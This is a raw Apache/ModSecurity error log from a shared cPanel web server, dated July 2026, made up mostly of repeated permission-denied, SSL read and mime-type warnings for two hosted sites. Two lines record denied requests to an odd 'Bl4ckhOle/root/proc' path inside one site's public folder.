[Fri Jul 17 10:04:23.081597 2026] [security2:error] [pid 2050576:tid 2050576] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwz5uhBssQvDAz4zCtWgAAABI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:04:29.251398 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:42084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:30.135973 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:42100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:30.905148 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:42138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:30.974210 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almw1o-0g_VSPeIeFN3MrgAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1209&page_105=1820
[Fri Jul 17 10:04:30.974244 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almw1o-0g_VSPeIeFN3MrgAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1209&page_105=1820
[Fri Jul 17 10:04:31.816957 2026] [core:error] [pid 2063883:tid 2063883] (13)Permission denied: [client 57.141.18.106:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory135/subsystem/devices/memory22/subsystem/devices/memory142/node0/memory124/subsystem/uevent
[Fri Jul 17 10:04:32.031966 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:47116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:33.090105 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:47228] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:37.206809 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almw3f72foAPmCnen3SrDgAAABs"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:04:37.206902 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almw3f72foAPmCnen3SrDgAAABs"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:04:42.183154 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:38448] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:42.454646 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:38464] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:42.904128 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:43.093746 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.399212 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.522365 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.537652 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.711197 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.741303 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.772427 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.775434 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.906733 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:44.956489 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:45.092257 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:45.263016 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:45.293139 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:45.304678 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.313101 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.324528 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.386151 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.431903 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.431926 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.492816 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.598417 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.602650 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.675794 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.765380 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.781889 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 57.141.18.66:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/acpi/devices/device:01/PNP0F13:00/subsystem/devices/device:12/eject
[Fri Jul 17 10:04:46.792925 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.804691 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.876209 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:46.964716 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.019879 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146177 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146260 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146296 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146335 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146364 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146396 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146421 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146443 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146470 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.146494 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.183493 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.343730 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410389 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410452 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410479 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410500 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410521 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410541 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410562 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410581 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410601 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410650 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410685 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410714 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410735 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410755 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410775 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410796 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410816 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410836 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410866 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410885 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410904 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410923 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410944 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410963 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.410982 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411003 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411022 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411041 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411105 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411127 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411165 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411193 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411221 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411263 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411300 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411336 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411361 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411389 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411424 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411445 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411469 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411493 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411518 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411540 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411563 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411592 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411616 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411670 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411706 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411727 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411750 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411774 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411797 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411818 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411842 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411864 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411887 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411907 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411931 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411954 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411975 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.411998 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412021 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412066 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412094 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412128 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412162 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412186 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412218 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412243 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412277 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412317 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412346 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412370 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412393 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412416 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412440 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412464 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412488 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412511 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412534 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412563 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412588 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412609 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412650 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412695 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412719 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412740 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412762 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412785 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412810 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412834 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412857 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412881 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412904 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412927 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412950 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.412970 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413003 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413034 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413070 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413102 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413122 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413142 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413162 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413182 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413203 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413231 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413250 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413269 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413292 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413327 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413359 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413381 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413400 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413419 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413440 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413467 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413487 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413508 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413527 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413547 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413568 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413588 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413609 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413656 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413702 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413722 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413741 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413761 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413781 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413801 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413820 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413840 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413859 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413878 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413897 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413917 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413937 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413957 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413977 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.413996 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414015 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414034 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414063 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414107 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414129 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414159 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414179 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
